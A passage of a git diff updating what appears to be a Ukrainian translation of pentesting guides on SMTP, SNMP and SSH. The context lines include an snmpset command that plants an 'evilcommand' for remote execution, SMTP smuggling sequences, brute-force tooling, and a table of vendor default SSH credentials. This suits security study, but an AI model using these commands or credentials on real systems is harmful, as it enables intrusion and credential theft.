налаштувань SPF та DMARC** ### Відправка підробленого електронного листа @@ -484,7 +484,7 @@ s.sendmail(sender, [destination], msg_data) - Техніки маніпуляції посиланнями - Підозрілі (незвичайні) вкладення - Пошкоджений вміст електронної пошти -- Значення, що відрізняються від заголовків листа +- Значення, що використовуються, які відрізняються від заголовків листа - Наявність дійсного та надійного SSL сертифіката - Подання сторінки на сайти фільтрації веб-контенту @@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data) ### Postfix -Зазвичай, якщо встановлено, в `/etc/postfix/master.cf` містить **скрипти для виконання** коли, наприклад, нова пошта отримується користувачем. Наприклад, рядок `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` означає, що `/etc/postfix/filtering` буде виконано, якщо нова пошта отримана користувачем mark. +Зазвичай, якщо встановлено, в `/etc/postfix/master.cf` містить **скрипти для виконання** коли, наприклад, новий лист отримується користувачем. Наприклад, рядок `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` означає, що `/etc/postfix/filtering` буде виконано, якщо новий лист отримано користувачем mark. Інші конфігураційні файли: ``` diff --git a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md index 309f1c172..f23d3b7d4 100644 --- a/src/network-services-pentesting/pentesting-smtp/smtp-commands.md +++ b/src/network-services-pentesting/pentesting-smtp/smtp-commands.md @@ -14,7 +14,7 @@ З цією командою SMTP починаються операції: відправник вказує адресу електронної пошти джерела в полі "From" і фактично починає передачу електронної пошти. **RCPT TO**\ -Вона ідентифікує отримувача електронної пошти; якщо їх більше ніж один, команда просто повторюється адреса за адресою. +Вона ідентифікує отримувача електронної пошти; якщо їх більше одного, команда просто повторюється адреса за адресою. **SIZE**\ Ця команда SMTP інформує віддалений сервер про приблизний розмір (в байтах) прикріпленої електронної пошти. Її також можна використовувати для повідомлення про максимальний розмір повідомлення, який може бути прийнятий сервером. diff --git a/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md b/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md index 3adec110d..210c80628 100644 --- a/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md +++ b/src/network-services-pentesting/pentesting-smtp/smtp-smuggling.md @@ -17,16 +17,16 @@ Щоб експлуатувати цю вразливість, зловмисник повинен надіслати деякі дані, які **вихідний SMTP сервер вважає, що це лише 1 електронний лист, але вхідний SMTP сервер вважає, що є кілька електронних листів**. Дослідники виявили, що різні **вхідні сервери вважають різні символи кінцем даних** електронного листа, які вихідні сервери не вважають.\ -Наприклад, звичайний кінець даних - це `\r\n.\r`. Але якщо вхідний SMTP сервер також підтримує `\n.`, зловмисник може просто додати **ці дані у свій електронний лист і почати вказувати команди SMTP** нових електронних листів, щоб підсунути їх, як у попередньому зображенні. +Наприклад, звичайним кінцем даних є `\r\n.\r`. Але якщо вхідний SMTP сервер також підтримує `\n.`, зловмисник може просто додати **ці дані у свій електронний лист і почати вказувати команди SMTP** нових електронних листів, щоб підсунути їх, як у попередньому зображенні. -Звичайно, це може працювати лише якщо **вихідний SMTP сервер також не розглядає ці дані** як кінець даних повідомлення, оскільки в цьому випадку він побачить 2 електронні листи замість лише 1, тому в кінцевому підсумку це є десинхронізація, яка використовується в цій вразливості. +Звичайно, це може працювати лише якщо **вихідний SMTP сервер також не розглядає ці дані** як кінець даних повідомлення, оскільки в цьому випадку він побачить 2 електронні листи замість лише 1, тому в кінцевому підсумку це є десинхронізацією, яка використовується в цій вразливості. Потенційні дані десинхронізації: - `\n.` - `\n.\r` -Також зверніть увагу, що SPF обійдено, оскільки якщо ви підсуваєте електронний лист від `admin@outlook.com` з електронного листа від `user@outlook.com`, **відправник все ще `outlook.com`.** +Також зверніть увагу, що SPF обійдено, оскільки якщо ви підсовуєте електронний лист від `admin@outlook.com` з електронного листа від `user@outlook.com`, **відправник все ще `outlook.com`.** ## **Посилання** diff --git a/src/network-services-pentesting/pentesting-snmp/README.md b/src/network-services-pentesting/pentesting-snmp/README.md index f0b16389b..8364c8f17 100644 --- a/src/network-services-pentesting/pentesting-snmp/README.md +++ b/src/network-services-pentesting/pentesting-snmp/README.md @@ -5,7 +5,7 @@ ## Основна інформація -**SNMP - Протокол простого управління мережею** є протоколом, що використовується для моніторингу різних пристроїв у мережі (таких як маршрутизатори, комутатори, принтери, IoT...). +**SNMP - Simple Network Management Protocol** є протоколом, що використовується для моніторингу різних пристроїв у мережі (таких як маршрутизатори, комутатори, принтери, IoT...). ``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) @@ -22,14 +22,14 @@ PORT STATE SERVICE REASON VERSION **Ідентифікатори об'єктів (OIDs)** відіграють важливу роль. Ці унікальні ідентифікатори призначені для управління об'єктами в **Базі управлінської інформації (MIB)**. -Найвищі рівні ідентифікаторів об'єктів MIB, або OIDs, виділені різним організаціям, що встановлюють стандарти. Саме в цих верхніх рівнях встановлюється структура для глобальних практик і стандартів управління. +Найвищі рівні ідентифікаторів об'єктів MIB, або OIDs, виділені різним організаціям, що встановлюють стандарти. Саме в цих верхніх рівнях встановлюється структура для глобальних практик управління та стандартів. Крім того, постачальникам надається свобода створювати приватні гілки. У межах цих гілок вони мають **автономію включати керовані об'єкти, що стосуються їхніх власних продуктів**. Ця система забезпечує структурований і організований метод для ідентифікації та управління широким спектром об'єктів серед різних постачальників і стандартів. ![](<../../images/SNMP_OID_MIB_Tree (1).png>) Ви можете **переглядати** через **дерево OID** з вебу тут: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) або **подивитися, що означає OID** (наприклад, `1.3.6.1.2.1.1`), звернувшись до [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -Є деякі **відомі OIDs**, такі як ті, що всередині [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), які посилаються на змінні Simple Network Management Protocol (SNMP), визначені в MIB-2. І з **OID, що очікують від цього**, ви можете отримати цікаві дані про хост (дані системи, дані мережі, дані процесів...) +Є деякі **відомі OIDs**, такі як ті, що знаходяться всередині [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), які посилаються на змінні Simple Network Management Protocol (SNMP), визначені в MIB-2. І з **OID, що очікують від цього**, ви можете отримати цікаві дані про хост (дані системи, дані мережі, дані процесів...) ### **Приклад OID** @@ -46,7 +46,7 @@ PORT STATE SERVICE REASON VERSION - 4 – це значення визначає, що цей пристрій виготовлений приватною організацією, а не урядовою. - 1 – це значення позначає, що пристрій виготовлений підприємством або бізнес-структурою. -Ці перші шість значень зазвичай однакові для всіх пристроїв і надають основну інформацію про них. Ця послідовність чисел буде однаковою для всіх OIDs, за винятком випадків, коли пристрій виготовлений урядом. +Ці перші шість значень зазвичай однакові для всіх пристроїв і дають вам основну інформацію про них. Ця послідовність чисел буде однаковою для всіх OIDs, за винятком випадків, коли пристрій виготовлений урядом. Продовжуючи до наступного набору чисел. @@ -57,29 +57,29 @@ PORT STATE SERVICE REASON VERSION Інші значення надають специфічну інформацію про пристрій. - 5 – позначає дискретну точку тривоги. -- 1 – конкретна точка в пристрої -- 3 – порт -- 21 – адреса порту -- 1 – дисплей для порту -- 4 – номер точки -- 7 – стан точки +- 1 – конкретна точка в пристрої. +- 3 – порт. +- 21 – адреса порту. +- 1 – дисплей для порту. +- 4 – номер точки. +- 7 – стан точки. ### Версії SNMP Існує 2 важливі версії SNMP: -- **SNMPv1**: Основна, вона все ще найпоширеніша, **автентифікація базується на рядку** (рядок спільноти), який передається в **відкритому тексті** (вся інформація передається в відкритому тексті). **Версії 2 і 2c** також передають **трафік у відкритому тексті** і використовують **рядок спільноти як автентифікацію**. -- **SNMPv3**: Використовує кращу **автентифікацію** і інформація передається **шифрованою** (може бути виконано **атака за словником**, але знайти правильні дані буде набагато важче, ніж у SNMPv1 і v2). +- **SNMPv1**: Основна, вона все ще найпоширеніша, **автентифікація базується на рядку** (рядок спільноти), який передається в **звичайному тексті** (вся інформація передається в звичайному тексті). **Версії 2 і 2c** також передають **трафік у звичайному тексті** і використовують **рядок спільноти як автентифікацію**. +- **SNMPv3**: Використовує кращу **форму автентифікації**, і інформація передається **шифрованою** (може бути виконано **атака методом підбору**, але знайти правильні дані буде набагато важче, ніж у SNMPv1 і v2). ### Рядки спільноти Як вже згадувалося, **для доступу до інформації, збереженої в MIB, вам потрібно знати рядок спільноти у версіях 1 і 2/2c та облікові дані у версії 3.**\ Існує **2 типи рядків спільноти**: -- **`public`** в основному **тільки для читання** функцій -- **`private`** **Читання/Запис** в загальному +- **`public`** в основному **тільки для читання** функції. +- **`private`** **Читання/Запис** в загальному. -Зверніть увагу, що **можливість запису OID залежить від використаного рядка спільноти**, тому **навіть** якщо ви виявите, що використовується "**public**", ви можете мати можливість **записувати деякі значення.** Також можуть існувати об'єкти, які **завжди "тільки для читання".**\ +Зверніть увагу, що **можливість запису OID залежить від використаного рядка спільноти**, тому **навіть** якщо ви виявите, що використовується "**public**", ви можете мати можливість **записати деякі значення.** Також можуть існувати об'єкти, які **завжди "тільки для читання".**\ Якщо ви спробуєте **записати** об'єкт, ви отримаєте **помилку `noSuchName` або `readOnly`**.\*\*.\*\* У версіях 1 і 2/2c, якщо ви використовуєте **поганий** рядок спільноти, сервер не **відповість**. Тож, якщо він відповідає, було використано **дійсний рядок спільноти**. @@ -92,9 +92,9 @@ PORT STATE SERVICE REASON VERSION - Менеджер отримує сповіщення ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) та [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) на порт **162**. - Коли використовується з [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) або [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), запити отримуються на порт **10161**, а сповіщення надсилаються на порт **10162**. -## Атака методом грубої сили на рядок спільноти (v1 та v2c) +## Атака методом підбору рядка спільноти (v1 і v2c) -Щоб **вгадати рядок спільноти**, ви можете виконати атаку за словником. Перевірте [тут різні способи виконання атаки методом грубої сили проти SNMP](../../generic-hacking/brute-force.md#snmp). Часто використовуваний рядок спільноти - `public`. +Щоб **вгадати рядок спільноти**, ви можете виконати атаку методом підбору. Перевірте [тут різні способи виконання атаки методом підбору проти SNMP](../../generic-hacking/brute-force.md#snmp). Часто використовуваний рядок спільноти - `public`. ## Перерахування SNMP @@ -125,7 +125,7 @@ braa @:.1.3.6.* #Bruteforce specific OID ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` -**SNMP** має багато інформації про хост, і речі, які можуть вас зацікавити, це: **мережеві інтерфейси** (IPv4 та **IPv6** адреси), імена користувачів, час роботи, версія сервера/ОС та **процеси** +**SNMP** має багато інформації про хост, і речі, які можуть бути вам цікаві: **Мережеві інтерфейси** (IPv4 та **IPv6** адреси), Імена користувачів, Час безперервної роботи, Версія сервера/ОС та **процеси** **які працюють** (можуть містити паролі).... @@ -142,7 +142,7 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull - **`rwcommunity`** для **IPv4** адрес, та - **`rwcommunity6`** для **IPv6** адрес. -Обидві команди вимагають **строку спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту. +Обидві команди вимагають **рядок спільноти** та відповідну IP-адресу, пропонуючи повний доступ незалежно від походження запиту. ### Параметри SNMP для Microsoft Windows @@ -166,7 +166,7 @@ cisco-snmp.md ## Від SNMP до RCE -Якщо у вас є **строка**, яка дозволяє вам **записувати значення** всередині служби SNMP, ви можете зловживати нею для **виконання команд**: +Якщо у вас є **рядок**, який дозволяє вам **записувати значення** всередині служби SNMP, ви можете зловживати цим для **виконання команд**: {{#ref}} snmp-rce.md @@ -174,7 +174,7 @@ snmp-rce.md ## **Масове SNMP** -[Braa ](https://github.com/mteg/braa) є масовим сканером SNMP. Передбачуване використання такого інструменту, звичайно, полягає в здійсненні SNMP запитів – але на відміну від snmpwalk з net-snmp, він здатний запитувати десятки або сотні хостів одночасно, і в одному процесі. Таким чином, він споживає дуже мало системних ресурсів і виконує сканування ДУЖЕ швидко. +[Braa ](https://github.com/mteg/braa) є масовим сканером SNMP. Передбачуване використання такого інструменту, звичайно, полягає в здійсненні запитів SNMP – але на відміну від snmpwalk з net-snmp, він здатний запитувати десятки або сотні хостів одночасно, і в одному процесі. Таким чином, він споживає дуже мало системних ресурсів і виконує сканування ДУЖЕ швидко. Braa реалізує свій ВЛАСНИЙ стек snmp, тому йому НЕ потрібні жодні бібліотеки SNMP, такі як net-snmp. @@ -184,15 +184,15 @@ braa ignite123@192.168.1.125:.1.3.6.* ``` Це може витягнути багато МБ інформації, яку ви не можете обробити вручну. -Отже, давайте шукати найцікавішу інформацію (з [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): +Отже, давайте шукаємо найцікавішу інформацію (з [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): ### **Пристрої** -Процес починається з витягування **sysDesc MIB data** (1.3.6.1.2.1.1.1.0) з кожного файлу для ідентифікації пристроїв. Це досягається за допомогою **grep command**: +Процес починається з витягування **sysDesc MIB даних** (1.3.6.1.2.1.1.1.0) з кожного файлу для ідентифікації пристроїв. Це досягається за допомогою **grep команди**: ```bash grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` -### **Визначити Приватний Рядок** +### **Визначити приватний рядок** Ключовим кроком є визначення **приватного рядка спільноти**, що використовується організаціями, особливо на маршрутизаторах Cisco IOS. Цей рядок дозволяє витягувати **поточні конфігурації** з маршрутизаторів. Визначення часто базується на аналізі даних SNMP Trap на наявність слова "trap" за допомогою **grep команди**: ```bash @@ -200,13 +200,13 @@ grep -i "trap" *.snmp ``` ### **Імена користувачів/Паролі** -Журнали, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково містити паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані: +Логи, збережені в таблицях MIB, перевіряються на **невдалі спроби входу**, які можуть випадково містити паролі, введені як імена користувачів. Шукаються ключові слова, такі як _fail_, _failed_ або _login_, щоб знайти цінні дані: ```bash grep -i "login\|fail" *.snmp ``` ### **Електронні листи** -Нарешті, для витягування **електронних адрес** з даних використовується **grep команда** з регулярним виразом, зосереджуючись на шаблонах, які відповідають форматам електронної пошти: +Нарешті, для витягування **адрес електронної пошти** з даних використовується **grep команда** з регулярним виразом, зосереджуючись на шаблонах, які відповідають форматам електронної пошти: ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` diff --git a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md index 4e8fd16ba..411e0cb96 100644 --- a/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md +++ b/src/network-services-pentesting/pentesting-snmp/cisco-snmp.md @@ -4,7 +4,7 @@ ## Pentesting Cisco Networks -**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепет. Цей протокол покладається на рядки спільноти, які слугують паролями, що дозволяють зв'язок між SNMP агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запису (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої. +**SNMP** функціонує через UDP з портами 161/UDP для загальних повідомлень і 162/UDP для повідомлень про трепи. Цей протокол покладається на рядки спільноти, які слугують паролями, що дозволяють зв'язок між SNMP агентами та серверами. Ці рядки є вирішальними, оскільки вони визначають рівні доступу, зокрема **тільки для читання (RO) або читання-запису (RW) дозволи**. Помітним вектором атаки для пентестерів є **брутфорсинг рядків спільноти**, що має на меті проникнення в мережеві пристрої. Практичним інструментом для виконання таких брутфорс-атак є [**onesixtyone**](https://github.com/trailofbits/onesixtyone), який вимагає список потенційних рядків спільноти та IP-адрес цілей: ```bash @@ -23,7 +23,7 @@ onesixtyone -c communitystrings -i targets #### `snmp_enum` -Ще один модуль Metasploit, **`snmp_enum`**, спеціалізується на зборі детальної інформації про апаратне забезпечення. Він працює з будь-яким типом community string і вимагає IP-адресу цілі для успішного виконання: +Ще один модуль Metasploit, **`snmp_enum`**, спеціалізується на зборі детальної інформації про апаратуру. Він працює з будь-яким типом community string і вимагає IP-адресу цілі для успішного виконання: ```bash msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 diff --git a/src/network-services-pentesting/pentesting-snmp/snmp-rce.md b/src/network-services-pentesting/pentesting-snmp/snmp-rce.md index 9a424fed9..77bd1e7c8 100644 --- a/src/network-services-pentesting/pentesting-snmp/snmp-rce.md +++ b/src/network-services-pentesting/pentesting-snmp/snmp-rce.md @@ -2,11 +2,11 @@ # SNMP RCE -SNMP може бути використаний зловмисником, якщо адміністратор не звертає уваги на його стандартну конфігурацію на пристрої або сервері. Зловмисник може виконувати команди на сервері, **зловживаючи SNMP спільнотою з правами запису (rwcommunity)** на операційній системі Linux. +SNMP може бути використано зловмисником, якщо адміністратор не звертає уваги на його стандартну конфігурацію на пристрої або сервері. Зловмисник може виконувати команди на сервері, **зловживаючи SNMP спільнотою з правами запису (rwcommunity)** на операційній системі Linux. ## Розширення послуг додатковими командами -Щоб розширити SNMP послуги та додати додаткові команди, можна додати нові **рядки до таблиці "nsExtendObjects"**. Це можна зробити, використовуючи команду `snmpset` і надаючи необхідні параметри, включаючи абсолютний шлях до виконуваного файлу та команду, яка має бути виконана: +Щоб розширити SNMP послуги та додати додаткові команди, можна додати нові **рядки до таблиці "nsExtendObjects"**. Це можна зробити, використовуючи команду `snmpset` і надаючи необхідні параметри, включаючи абсолютний шлях до виконуваного файлу та команду, що підлягає виконанню: ```bash snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \ 'nsExtendStatus."evilcommand"' = createAndGo \ @@ -15,7 +15,7 @@ snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \ ``` ## Впровадження команд для виконання -Впровадження команд для виконання на службі SNMP вимагає наявності та можливості виконання викликаного бінарного файлу/скрипта. **`NET-SNMP-EXTEND-MIB`** вимагає надання абсолютного шляху до виконуваного файлу. +Впровадження команд для виконання на службі SNMP вимагає наявності та можливості виконання викликаного бінарного файлу/скрипту. **`NET-SNMP-EXTEND-MIB`** вимагає надання абсолютного шляху до виконуваного файлу. Щоб підтвердити виконання впровадженої команди, можна використовувати команду `snmpwalk` для перерахунку служби SNMP. **вихідні дані відобразять команду та її супутні деталі**, включаючи абсолютний шлях: ```bash diff --git a/src/network-services-pentesting/pentesting-ssh.md b/src/network-services-pentesting/pentesting-ssh.md index f122ed452..4172f95f3 100644 --- a/src/network-services-pentesting/pentesting-ssh.md +++ b/src/network-services-pentesting/pentesting-ssh.md @@ -34,13 +34,13 @@ nc -vn 22 ``` ### Автоматизований ssh-аудит -ssh-audit - це інструмент для аудиту конфігурації ssh сервера та клієнта. +ssh-аудит - це інструмент для аудиту конфігурації ssh сервера та клієнта. [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) - це оновлений форк від [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) **Особливості:** -- Підтримка протоколів SSH1 та SSH2; +- Підтримка серверів протоколів SSH1 та SSH2; - аналіз конфігурації SSH клієнта; - отримання банера, розпізнавання пристрою або програмного забезпечення та операційної системи, виявлення стиснення; - збір алгоритмів обміну ключами, ключів хоста, шифрування та коду автентифікації повідомлень; @@ -77,7 +77,7 @@ $ python3 ssh-audit ```bash ssh-keyscan -t rsa -p ``` -### Слабкі шифрувальні алгоритми +### Слабкі шифрові алгоритми Це виявляється за замовчуванням за допомогою **nmap**. Але ви також можете використовувати **sslcan** або **sslyze**. @@ -101,11 +101,11 @@ nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check a ``` msf> use scanner/ssh/ssh_enumusers ``` -### [Brute force](../generic-hacking/brute-force.md#ssh) +### [Брутфорс](../generic-hacking/brute-force.md#ssh) Деякі загальні ssh облікові дані [тут](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) та [тут](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) і нижче. -### Private Key Brute Force +### Брутфорс приватного ключа Якщо ви знаєте деякі ssh приватні ключі, які можуть бути використані... давайте спробуємо. Ви можете використовувати скрипт nmap: ``` @@ -121,35 +121,35 @@ msf> use scanner/ssh/ssh_identify_pubkeys {% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %} -#### Слабкі SSH ключі / Прогнозований PRNG Debian +#### Слабкі SSH ключі / Передбачуваний PRNG Debian -Деякі системи мають відомі недоліки в випадковому насінні, яке використовується для генерації криптографічного матеріалу. Це може призвести до значного зменшення простору ключів, що може бути зламано методом перебору. Попередньо згенеровані набори ключів, згенеровані на системах Debian, які підлягають впливу слабкого PRNG, доступні тут: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +Деякі системи мають відомі недоліки в випадковому насінні, яке використовується для генерації криптографічного матеріалу. Це може призвести до значного зменшення простору ключів, який можна зламати. Попередньо згенеровані набори ключів, згенеровані на системах Debian, які підлягають впливу слабкого PRNG, доступні тут: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). -Вам слід подивитися тут, щоб знайти дійсні ключі для жертви. +Вам слід подивитися тут, щоб знайти дійсні ключі для машини жертви. ### Kerberos -**crackmapexec** з використанням протоколу `ssh` може використовувати опцію `--kerberos` для **автентифікації через kerberos**.\ +**crackmapexec** з використанням протоколу `ssh` може використовувати опцію `--kerberos`, щоб **автентифікуватися через kerberos**.\ Для отримання додаткової інформації запустіть `crackmapexec ssh --help`. ## За замовчуванням облікові дані -| **Постачальник** | **Імена користувачів** | **Паролі** | -| ---------------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| APC | apc, device | apc | -| Brocade | admin | admin123, password, brocade, fibranne | -| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | -| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | -| D-Link | admin, user | private, admin, user | -| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | -| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | -| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | -| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | -| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | -| Juniper | netscreen | netscreen | -| NetApp | admin | netapp123 | -| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | -| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | +| **Виробник** | **Імена користувачів** | **Паролі** | +| ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| APC | apc, device | apc | +| Brocade | admin | admin123, password, brocade, fibranne | +| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | +| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | +| D-Link | admin, user | private, admin, user | +| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | +| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | +| HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | +| Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | +| IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | +| Juniper | netscreen | netscreen | +| NetApp | admin | netapp123 | +| Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | +| VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | ## SSH-MitM @@ -157,9 +157,9 @@ msf> use scanner/ssh/ssh_identify_pubkeys **Шлях атаки:** -- **Перенаправлення трафіку:** Зловмисник **відволікає** трафік жертви на своєму комп'ютері, ефективно **перехоплюючи** спробу підключення до SSH-сервера. +- **Перенаправлення трафіку:** Зловмисник **відволікає** трафік жертви на свою машину, ефективно **перехоплюючи** спробу підключення до SSH-сервера. - **Перехоплення та ведення журналу:** Машина зловмисника діє як **проксі**, **захоплюючи** дані для входу користувача, видаючи себе за легітимний SSH-сервер. -- **Виконання команд та реле:** Нарешті, сервер зловмисника **реєструє облікові дані користувача**, **пересилає команди** на реальний SSH-сервер, **виконує** їх і **надсилає результати назад** користувачу, роблячи процес безперервним і легітимним. +- **Виконання команд і реле:** Нарешті, сервер зловмисника **реєструє облікові дані користувача**, **пересилає команди** на реальний SSH-сервер, **виконує** їх і **надсилає результати назад** користувачу, роблячи процес безперервним і легітимним. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) робить саме те, що описано вище. @@ -167,7 +167,7 @@ msf> use scanner/ssh/ssh_identify_pubkeys ## SSH-Snake -Якщо ви хочете пройти через мережу, використовуючи виявлені приватні ключі SSH на системах, використовуючи кожен приватний ключ на кожній системі для нових хостів, тоді [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) - це те, що вам потрібно. +Якщо ви хочете пересуватися мережею, використовуючи виявлені приватні ключі SSH на системах, використовуючи кожен приватний ключ на кожній системі для нових хостів, тоді [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) - це те, що вам потрібно. SSH-Snake автоматично та рекурсивно виконує такі завдання: @@ -176,28 +176,28 @@ SSH-Snake автоматично та рекурсивно виконує так 3. Спробувати підключитися до всіх призначень, використовуючи всі виявлені приватні ключі, 4. Якщо призначення успішно підключено, повторити кроки #1 - #4 на підключеній системі. -Він повністю самовідтворюється та саморозповсюджується - і повністю безфайловий. +Це повністю самовідтворюється і саморозповсюджується - і повністю безфайлове. ## Неправильні конфігурації ### Вхід як root -Цілком звичайно, що SSH-сервери за замовчуванням дозволяють вхід користувача root, що становить значний ризик для безпеки. **Вимкнення входу root** є критично важливим кроком у забезпеченні безпеки сервера. Несанкціонований доступ з адміністративними привілеями та атаки методом перебору можуть бути зменшені шляхом внесення цієї зміни. +Зазвичай SSH-сервери дозволяють вхід користувача root за замовчуванням, що становить значний ризик для безпеки. **Вимкнення входу root** є критично важливим кроком у забезпеченні безпеки сервера. Несанкціонований доступ з адміністративними привілеями та атаки грубої сили можуть бути зменшені шляхом внесення цієї зміни. **Щоб вимкнути вхід root в OpenSSH:** -1. **Відредагуйте файл конфігурації SSH** за допомогою: `sudoedit /etc/ssh/sshd_config` +1. **Редагуйте файл конфігурації SSH** за допомогою: `sudoedit /etc/ssh/sshd_config` 2. **Змініть налаштування** з `#PermitRootLogin yes` на **`PermitRootLogin no`**. 3. **Перезавантажте конфігурацію** за допомогою: `sudo systemctl daemon-reload` -4. **Перезапустіть SSH-сервер** для застосування змін: `sudo systemctl restart sshd` +4. **Перезапустіть SSH-сервер**, щоб застосувати зміни: `sudo systemctl restart sshd` -### SFTP Брутфорс +### SFTP груба сила -- [**SFTP Брутфорс**](../generic-hacking/brute-force.md#sftp) +- [**SFTP груба сила**](../generic-hacking/brute-force.md#sftp) ### Виконання команд SFTP -Існує загальне недогляд, яке виникає з налаштуваннями SFTP, де адміністратори мають намір, щоб користувачі обмінювалися файлами без увімкнення віддаленого доступу до оболонки. Незважаючи на те, що користувачі налаштовані з неінтерактивними оболонками (наприклад, `/usr/bin/nologin`) і обмежені до певного каталогу, залишається прогалина в безпеці. **Користувачі можуть обійти ці обмеження**, запитуючи виконання команди (такої 